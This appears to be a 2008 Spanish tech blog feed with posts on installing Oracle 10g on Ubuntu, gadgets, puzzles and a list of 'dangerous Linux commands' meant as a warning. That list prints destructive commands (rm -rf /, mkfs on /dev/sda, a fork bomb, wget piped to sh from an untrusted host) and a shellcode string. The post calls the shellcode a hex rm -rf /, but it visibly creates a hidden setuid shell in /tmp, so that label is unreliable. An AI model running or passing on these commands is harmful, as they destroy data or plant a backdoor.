distribuciones</a></blockquote><a href="http://www.adobe.com/products/acrobat/readstep2_allversions.html"></a>Saludos.<br /></span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-86456170503522916372008-11-30T11:19:00.000-08:002008-11-30T11:32:48.151-08:00Instalando Oracle 10g Enterprise en Ubuntu 8.10<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_dDRVOtKcUw4/STLqNVYXoBI/AAAAAAAAAcE/jqtjWCtuQWE/s1600-h/2008-03-06_1227.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 310px; height: 320px;" src="http://1.bp.blogspot.com/_dDRVOtKcUw4/STLqNVYXoBI/AAAAAAAAAcE/jqtjWCtuQWE/s320/2008-03-06_1227.jpg" alt="" id="BLOGGER_PHOTO_ID_5274535628402827282" border="0" /></a><br /><span style="font-size:85%;"><br />La versión Express de Oracle 10g si que viene con soporte directo para Ubuntu, pero si por alguna mágica razón necesitas instalar la Enterprise, que solo viene con soporte oficial para Red Hat, SUSE y Oracle Linux.<br /><br />Vamos a instalar la <a href="http://www.oracle.com/technology/software/products/database/oracle10g/htdocs/10201linuxsoft.html">versión 10.2.0.1.0</a>, así que la puedes ir bajando y desempacando que pesa casi 700MB.<br /><br />El instalador espera que los binarios de basename y awk esten en /bin y no en /usr/bin, asi que crearemos unos soft links.<br /><br /><blockquote>sudo ln -s /usr/bin/basename /bin/basename<br />sudo ln -s /usr/bin/awk /bin/awk</blockquote><br />SUSE y Red Hat utilizan el grupo <span style="font-weight: bold;">nobody</span> para el usuario nobody, pero los sistemas basados en Debian utilizan el grupo <span style="font-weight: bold;">nogroup</span>. Así que creamos el nuevo grupo.<br /><br /><blockquote>sudo addgroup nobody</blockquote><br />Ahora podemos correr el instalador gráfico, pero con un parámetro indicándole que ignore los pre-requisitos, sino detectara que estas utilizando una distribución no soportada oficialmente y cancelara la instalación. Si evitas instalar la base de datos desde este punto y solo instalar las herramientas la instalación durara mucho menos, pero si el tiempo no es problema para ti, créala de una vez y así te ahorras crear el listener y la base de datos manualmente.<br /><br /><blockquote>./runInstaller -ignoresysprereqs</blockquote><br />Al finalizar la instalación, el instalador te pedirá instalar un archivo de bash como root, ejecútalo con sudo tal cual te lo muestra y no tendrás problemas.<br /><br />Probablemente tengas problemas con librerías faltantes, entonces es muy recomendable incluir las librerías que trae oracle y así te evitas estar compilandolas. Ademas de ejecutarla una vez puedes meterla a tu archivo .bashrc y que se cargue automáticamente cuando inicies sesión.<br /><br /><blockquote>export LD_LIBRARY_PATH=/path/de/tu/instalacion/lib/</blockquote><br />En mi caso también me dio problemas por una librería faltante llamada libaio, pero sin problemas se instala porque se encuentra también en los repositorios de ubuntu.<br /><br /><blockquote>sudo aptitude install libaio-dev</blockquote><br />Listo! Ya tienes una instalación funcional de Oracle 10g Enterprise.<br /><br />Ojo, que Oracle no te instalara los menús de accesos directos a la diferentes aplicaciones, pero aún asi tienes todo dentro del directorio /bin. Por mencionar algunos comandos útiles:<br /><br />Para administrar (crear, borrar, editar) listeners y otras herramientas de red, como conectarte a una base de datos externa:<br /><br /><blockquote>netca</blockquote><br />Para administrar tus bases de datos (crear, borrar, etc):<br /><br /><blockquote>dbca</blockquote><br />Para iniciar o parar el database control:<br /><br /><blockquote>emctl start dbconsole<br />emctl stop dbconsole</blockquote><br />Para iniciar o parar el servicio web de iSQL*Plus:<br /><br /><blockquote>isqlplusctl start<br />isqlplusctl stop<br /></blockquote><br />Para iniciar o parar listeners:<br /><br /><blockquote>lsnrctl start<br />lsnrctl stop</blockquote><br />Para entrar a la consola de SQL*Plus<br /><br /><blockquote>sqlplus</blockquote><br />Espero les sea de utilidad, Saludos.<br /><br />Informaci</span><span style="font-size:85%;">ó</span><span style="font-size:85%;">n basada en <a href="http://t-a-w.blogspot.com/2007/11/installing-oracle-10g-enterprise.html">La guia de Taw's</a><br /></span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-36217717598480190402008-11-27T21:18:00.000-08:002008-11-27T21:30:37.979-08:00Comandos peligrosos en linux<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_dDRVOtKcUw4/SS-ARoMDGYI/AAAAAAAAAb8/lgS702iUJao/s1600-h/forkbomb_1_original-300x166.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 166px;" src="http://3.bp.blogspot.com/_dDRVOtKcUw4/SS-ARoMDGYI/AAAAAAAAAb8/lgS702iUJao/s320/forkbomb_1_original-300x166.png" alt="" id="BLOGGER_PHOTO_ID_5273574729008224642" border="0" /></a><p><span style="font-size:85%;">Lo siguiente es meramente informativo, tengan cuidado en ejecutar los siguientes comando, ya que pueden afectar seriamente su sistema operativo linux e incluso formatearlo y perder datos. :)<br /></span></p><p><span style="font-size:85%;">1. Codigo: <em><strong>rm -rf /</strong></em><br />Este poderoso comando borra todos los archivos de nuestro directorio raiz “/”.<br /><span style="font-weight: bold;">rm</span> es igual a Remove<br /><span style="font-weight: bold;">-rf</span> borra de manera recursiva<br /><a href="http://www.nierox.com/2007/12/05/la-muerte-de-ubuntu/" onclick="javascript:urchinTracker ('/outbound/article/www.nierox.com');"></a></span></p> <p><span style="font-size:85%;">2. Codigo:</span></p> <p><span style="font-size:85%;"><span style="font-weight: bold;">char esp[] __attribute__ ((section(”.text”))) /* e.s.p</span><br /><span style="font-weight: bold;">release */</span><br /><span style="font-weight: bold;">= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?</span><br /><span style="font-weight: bold;">“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?</span><br /><span style="font-weight: bold;">“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?</span><br /><span style="font-weight: bold;">“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?</span><br /><span style="font-weight: bold;">“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?</span><br /><span style="font-weight: bold;">“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?</span><br /><span style="font-weight: bold;">“\x6e\x2f\x73\x68\x00\x2d\x63\x00?</span><br /><span style="font-weight: bold;">“cp -p /bin/sh /tmp/.beyond; chmod 4755</span><br /><span style="font-weight: bold;">/tmp/.beyond;”;</span></span> </p> <p><span style="font-size:85%;">Esta es la version hexadecimal de [rm-rf /] que pueden engañar incluso los no experimentados usuarios de GNU/Linux.</span></p> <p><span style="font-size:85%;">3. Codigo: <span style="font-weight: bold;">mkfs.ext3 /dev/sda</span></span></p> <p><span style="font-size:85%;">Esto reformatea todos los archivos del dispositivo que se menciona después de que el comando mkfs.</span></p> <p><span style="font-size:85%;">4. Codigo: <span style="font-weight: bold;">:(){:|:&};:</span></span></p> <p><span style="font-size:85%;">Conocida como bomba fork, este comando ejecutar un gran número de procesos hasta que el sistema se congela. Esto puede conducir a la corrupción de datos.</span></p> <p><span style="font-size:85%;"><span id="more-1012"></span></span></p> <p><span style="font-size:85%;">5. Codigo: <span style="font-weight: bold;">any_command > /</span><span id="SPELLING_ERROR_0" class="blsp-spelling-error" style="font-weight: bold;"><span id="SPELLING_ERROR_0" class="blsp-spelling-error">dev</span></span><span style="font-weight: bold;">/</span><span id="SPELLING_ERROR_1" class="blsp-spelling-error" style="font-weight: bold;"><span id="SPELLING_ERROR_1" class="blsp-spelling-error">sda</span></span></span></p> <p><span style="font-size:85%;">Este comando provoca perdida total de datos, en la particion que se menciona en el comando</span></p> <p><span style="font-size:85%;">6. Codigo: <span id="SPELLING_ERROR_3" class="blsp-spelling-error" style="font-weight: bold;"><span id="SPELLING_ERROR_3" class="blsp-spelling-error">wget</span></span><span style="font-weight: bold;">http://some_untrusted_source -O- | sh</span></span></p> <p><span style="font-size:85%;">Nunca descargar fuentes no confiables y que a continuacion se ejecuten, pueden ser codigos maliciosos</span></p> <p><span style="font-size:85%;">7. Codigo: <span id="SPELLING_ERROR_4" class="blsp-spelling-error" style="font-weight: bold;"><span id="SPELLING_ERROR_4" class="blsp-spelling-error">mv</span></span><span style="font-weight: bold;">/home/</span><span id="SPELLING_ERROR_5" class="blsp-spelling-error" style="font-weight: bold;"><span id="SPELLING_ERROR_5" class="blsp-spelling-error">yourhomedirectory</span></span><span style="font-weight: bold;">/* /</span><span id="SPELLING_ERROR_6" class="blsp-spelling-error" style="font-weight: bold;"><span id="SPELLING_ERROR_6" class="blsp-spelling-error">dev</span></span><span style="font-weight: bold;">/null</span></span></p> <p><span style="font-size:85%;">Este comando mover todos los archivos de tu directorio home a un lugar que no existe, nunca veras tus archivos de nuevo<span style="font-weight: bold;"><br /></span></span></p><p><span style="font-size:85%;">Saludos</span></p>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-7459253531042541442008-11-27T20:57:00.000-08:002008-11-27T21:05:20.765-08:00Nokia N96 Bruce Lee Edition.<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_dDRVOtKcUw4/SS97wxmV4EI/AAAAAAAAAb0/TfXTBacnHrc/s1600-h/nokia-n96-bruce-lee-chuck.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 194px;" src="http://2.bp.blogspot.com/_dDRVOtKcUw4/SS97wxmV4EI/AAAAAAAAAb0/TfXTBacnHrc/s320/nokia-n96-bruce-lee-chuck.jpg" alt="" id="BLOGGER_PHOTO_ID_5273569766552232002" border="0" /></a><span style="font-size:85%;"><br />Pues ahora los chinos (no parece que vaya a extenderse a otros países) van a poder llevar inmortalizado a su mítico ídolo en un flamante Nokia N96 Bruce Lee Edition. El pack cuesta 8.788 yuanes chinos (1.286 dólares/1.022,26 euros), pero suponemos que no será nada para los fans de Bruce.<br />Por cierto ¿es real el siguiente vídeo?<br /><br /><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/OqGQ72bre30&color1=0xb1b1b1&color2=0xcfcfcf&hl=en&feature=player_embedded&fs=1"><param name="allowFullScreen" value="true"><embed src="http://www.youtube.com/v/OqGQ72bre30&color1=0xb1b1b1&color2=0xcfcfcf&hl=en&feature=player_embedded&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br /><br />Sitio oficial: <a href="http://www.nokia-lee.com.cn/">http://www.nokia-lee.com.cn/</a><br /></span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com1tag:blogger.com,1999:blog-4607479262521046792.post-39843842910112820432008-11-23T16:35:00.000-08:002008-11-23T16:41:20.211-08:00Ejercicios Mentales<a href="http://4.bp.blogspot.com/_dDRVOtKcUw4/SSn3uC8AijI/AAAAAAAAAbs/ZuEV3_GBvl0/s1600-h/pensando.bmp"><img id="BLOGGER_PHOTO_ID_5272017209248483890" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 232px; CURSOR: hand; HEIGHT: 240px; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_dDRVOtKcUw4/SSn3uC8AijI/AAAAAAAAAbs/ZuEV3_GBvl0/s320/pensando.bmp" border="0" /></a><br /><div><span style="font-size:85%;"></span></div><div><span style="font-size:85%;">Cuando estés aburrido trata de hacer estas 3 tonteras:<br /></div></span><br /><div><span style="font-size:85%;">UNO<br />Mientras estás sentado haz círculos con el pie derecho en el sentido de las agujas del reloj (sin tocar el suelo).Mientras haces esto, dibuja el nº 6 en el aire con tu mano derecha.“TU PIE CAMBIARÁ DE DIRECCIÓN”¡Imposible hacerlo bien!Fue descubierto que nuestro cerebro tiene un “hueco”</span></div><br /><div><span style="font-size:85%;"><br />----------------------------------------------------------------------------------------------------</span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;">DOS<br />Cuente cuantas letras “F” tiene el texto siguiente.Sin usar el mouse.<br />Como siempre hágalo rápidamente:<br /></div></span><br /><div><span style="font-size:85%;">“FINISHED FILES ARE THE RESULT OF YEARS OF SCIENTIFIC STUDY COMBINED WITH THE EXPERIENCE OF YEARS “<br /></span></div><br /><div><span style="font-size:85%;">¿Cuantas son?..................<br /></span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;">Errado, son 6.<br />El cerebro muy difícilmente consigue procesar la palabra OF.Quien cuenta las 6 “F” en la primera vez es un mentiroso ¡Porque seria un genio!</span></div><div><span style="font-size:85%;">3 es normal, 4 es más raro, 5 más aún y 6 casi nadie.<br /></div></span><br /><div><span style="font-size:85%;">----------------------------------------------------------------------------------------------------</span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;">TRES<br />¿Alguna vez pensó si somos iguales o si pensamos las mismas cosas?<br />¡Haga este ejercicio de reflexión y encuentren la respuesta!<br />Siga las instrucciones y responda las preguntas una a una mentalmente y tan rápido como le sea posible.<br /></span></div><br /><div><span style="font-size:85%;">NO SIGA SIN HABER RESPONDIDO LA PREGUNTA ANTERIOR, y se sorprenderá con la respuesta<br /></span></div><br /><div><span style="font-size:85%;">Ahora responda una por vez:</span></div><br /><div><span style="font-size:85%;">¿Cuánto es…</span></div><br /><div><span style="font-size:85%;">15+6</span></div><br /><div><span style="font-size:85%;">3+56</span></div><br /><div><span style="font-size:85%;">89+2</span></div><br /><div><span style="font-size:85%;">1</span><span style="font-size:85%;">2+53</span></div><br /><div><span style="font-size:85%;">123+5<br /></div></span><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;">¡RÁPIDO! ¡PIENSE UNA HERRAMIENTA Y UN COLOR!.......</span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;">Siga adelante….......</span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;">Un poco más ….....<br /></span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;">.Martillo rojo, ¿verdad?<br /></span></div><br /><div><span style="font-size:85%;">ES LO PRIMERO QUE PENSASTEN</span></div><br /><div><span style="font-size:85%;">Si asi fue, UD. pertenece al 2% de la población que es suficientemente diferente para pensar en otra cosa.</span></div><br /><div><span style="font-size:85%;">Saludos.</span></div><div><span style="font-size:85%;"></span></div><div><span style="font-size:85%;">Visto en: <a href="http://www.achingao.com/">http://www.achingao.com/</a> :P</span></div>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-42384090776302337982008-11-23T11:12:00.000-08:002008-11-23T11:33:02.104-08:00Alienware M17<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_dDRVOtKcUw4/SSmt-Rp27VI/AAAAAAAAAbk/lpUhWcznnX0/s1600-h/alienwareM17.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 267px;" src="http://3.bp.blogspot.com/_dDRVOtKcUw4/SSmt-Rp27VI/AAAAAAAAAbk/lpUhWcznnX0/s320/alienwareM17.jpg" alt="" id="BLOGGER_PHOTO_ID_5271936124216339794" border="0" /></a><span style="font-size:85%;">Alienware se luce sacando al mercado un nuevo producto, una portátil dedicada a los que buscan exclusivamente buen rendimiento para juegos, porque portátil, lo que se dice portátil, no es, esto si nos referimos al tema del peso y tamaño. El nuevo Alienware M17 es un portátil de 17 pulgadas, con el procesador Intel Quad Core 2 Extreme QX9300.<br /><br />En cuanto a su potencia gráfica, ATI no le ha podido negar nada, con una ATI CrossFireX, hasta 4GB de memoria RAM y doble disco duro de 500GB (1TB en total). Su pantalla de 17 pulgadas ultrabrillante alcanza una resolución de 1920×1200 píxeles, perfecta para ver películas en 1080p.<br /><br />Uno de esos detalles que tanto gusta en estos portátiles para gamers es que el teclado se ilumina, ademas de poder controlar el color de la iluminacion por medio de un software, llamado "Alienware Command Center".<br /><br />La bahía (ranura) donde va la grabadora de DVD o el reproductor Blu-ray es ahora una bahía “Smart Bay”, diseñada de forma que se pueda quitar de forma sencilla la unidad óptica y puedas instalar otro disco duro, (como si el terabyte no fuera suficiente :s). Tambien cuenta con 4 puertos USB, un puerto FireWire 800 y otro 400, puerto HDMI, lector de tarjetas 7 en 1…<br /><br /><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/1w3_dbzVh4Q&hl=es&fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/1w3_dbzVh4Q&hl=es&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object><br /><br />Saludos.<br /><br /><br />WebSite Alienware: <a href="http://www.alienware.com">www.alienware.com</a></span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-89319330475641006512008-11-23T08:15:00.000-08:002008-11-23T08:20:42.003-08:00Goosh - busqueda en Google en formato shell<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_dDRVOtKcUw4/SSmClf8nRCI/AAAAAAAAAbc/qDvW8Wcj5kw/s1600-h/goosh.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 192px;" src="http://4.bp.blogspot.com/_dDRVOtKcUw4/SSmClf8nRCI/AAAAAAAAAbc/qDvW8Wcj5kw/s320/goosh.jpg" alt="" id="BLOGGER_PHOTO_ID_5271888419556377634" border="0" /></a><br /><span style="font-size:85%;"><span style="font-weight: bold;">Goosh</span> es un website que nos permite realizar busquedas en Google, pero el formato es como si estuvieramos escribiento en nuestra Shell de linux ( la terminal ).<br /><br />Les dejo el link para que lo prueben y den sus opiniones.<br /><br />En lo personal... me agrada ese formato :P<br /><br /><a href="http://www.goosh.org/">http://www.goosh.org/</a><br /><br />Saludos</span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0